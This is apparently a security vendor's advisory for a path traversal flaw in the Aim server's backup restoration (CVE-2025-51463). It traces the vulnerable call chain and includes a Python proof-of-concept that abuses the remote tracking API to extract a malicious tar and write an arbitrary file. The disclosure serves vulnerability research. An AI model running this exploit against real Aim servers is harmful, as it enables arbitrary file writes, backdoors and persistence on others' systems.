Skip to content
CVE-2025-51463: Aim Path Traversal in Server Backup Restoration

CVE-2025-51463: Aim Path Traversal in Server Backup Restoration

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.Artemiy Malyshau· Co-founder & CTO1 min read
On this page

The following vulnerability was found using Gecko and validated by security researchers.

(Some Image Maybe?)

Repo: https://github.com/aimhubio/aim Version: 3.28.0 Severity: High (7.0/10) CVE: CVE-2025-51463[https://github.com/advisories/GHSA-6gj6-5cm3-g43x]

Description#

A path traversal vulnerability was found in AIM server. This vulnerability allows remote attackers to write arbitrary files on the server’s filesystem via a malicious tar file extraction. The vulnerability exists due to a lack of proper path validation when extracting backup tar archives in the restore_run_backup function.

Source - Sink Analysis#

The vulnerability exists in the following function call chain:

  1. Source: Client.run_instruction() in aim/ext/transport/client.py
  • Entry point for remote method execution that accepts untrusted input: pythonCopy<code class=“hljs language-python”><span class=“hljs-keyword”>def</span> <span class=“hljs-title function_“>run_instruction</span>(<span class=“hljs-params”>self, queue_id, resource, method, args=(<span class=“hljs-params”></span>), is_write_only=<span class=“hljs-literal”>False</span></span>): </code>
  1. Intermediate: RemoteRepoProxy._restore_run() in aim/sdk/remote_repo_proxy.py
  • Proxies restore request to repo instance with unsanitized hash parameter: pythonCopy<code class=“hljs language-python”><span class=“hljs-keyword”>def</span> <span class=“hljs-title function_”>_restore_run</span>(<span class=“hljs-params”>self, hash_</span>): </code>
  1. Intermediate: Repo._restore_run() in aim/sdk/repo.py
  • Handles run restore operation and passes unsanitized run_hash: pythonCopy<code class=“hljs language-python”><span class=“hljs-keyword”>def</span> <span class=“hljs-title function_”>_restore_run</span>(<span class=“hljs-params”>self, run_hash</span>): </code>
  1. Sink: restore_run_backup() in aim/sdk/utils.py
  • Vulnerable tarfile extraction without path validation: pythonCopy<code class=“hljs language-python”><span class=“hljs-keyword”>with</span> tarfile.<span class=“hljs-built_in”>open</span>(run_bcp_file, <span class=“hljs-string”>‘r:gz’</span>) <span class=“hljs-keyword”>as</span> tar: tar.extractall() </code>

Proof of Concept#

python
def exploit():
    client_id = str(uuid.uuid4())
    unique_id = uuid.uuid4().hex[:8]
    target_file = f"/tmp/aim_vuln_proof_{unique_id}.txt"
    
    if os.path.exists(target_file):
        os.remove(target_file)
        
    content = f"AIM Path Traversal Vulnerability PoC\nTimestamp: {time.time()}\nID: {unique_id}\n"
    
    print(f"Creating exploit for AIM server at {AIM_SERVER}")
    print(f"Target file: {target_file}")
    
    # create malicious tar file
    tar_path = create_malicious_tar(target_file, content)
    print(f"Created malicious tar: {tar_path}")
    
    # create repo resource
    resource_url = f"http://{AIM_SERVER}/tracking/{client_id}/get-resource/"
    response = requests.post(
        resource_url,
        json={
            "resource_handler": "repo",
            "resource_type": "Repo",
            "args": encode_args({})
        }
    )
    
    if response.status_code != 200:
        print(f"[-] Failed to create Repo resource: {response.text}")
        return False
        
    repo_handler = response.json()["handler"]
    print(f"Created Repo resource: {repo_handler}")
    
    # set repo path to /tmp
    instruction_url = f"http://{AIM_SERVER}/tracking/{client_id}/read-instruction/"
    response = requests.post(
        instruction_url,
        json={
            "resource_handler": repo_handler,
            "method_name": "path.setter",
            "args": encode_args(["/tmp"])
        }
    )
    
    if response.status_code != 200:
        print(f"[-] Failed to set repo path: {response.text}")
        return False
    
    print(f"Set repo path to /tmp")
    
    # create bcp directory
    bcp_dir = "/tmp/bcp"
    os.makedirs(bcp_dir, exist_ok=True)
    
    # copy malicious tar to bcp directory
    run_hash = f"exploit_{unique_id}"
    bcp_tar_path = os.path.join(bcp_dir, run_hash)
    shutil.copy(tar_path, bcp_tar_path)
    print(f"Copied malicious tar to {bcp_tar_path}")
    
    # trigger vulnerability via _restore_run
    print(f"Triggering vulnerability...")
    response = requests.post(
        instruction_url,
        json={
            "resource_handler": repo_handler,
            "method_name": "_restore_run",
            "args": encode_args([run_hash])
        }
    )
    
    # verify exploit success
    if os.path.exists(target_file):
        with open(target_file, "r") as f:
            file_content = f.read()
            
        print(f"Successfully created file: {target_file}")
        print(f"Content: {file_content.strip()}")
        return True
    else:
        print(f"Exploit failed - target file not created")
        return False

Impact#

Attackers can:

  • Write arbitrary files to any location on the filesystem where the AIM server process has write access.
  • Overwrite critical system files or application configurations.
  • Create backdoors or establish persistence on the affected system.
Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.

Artemiy Malyshau

Co-founder & CTO

Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.

Frequently asked questions

Related content

The latest news, technologies, and resources from our team.

Subscribe to the Gecko newsletter

Occasional updates, new content, and insights. No spam; unsubscribe anytime.

We use your email only to send you our newsletter. See our privacy policy for how we handle your data. You can unsubscribe at any time.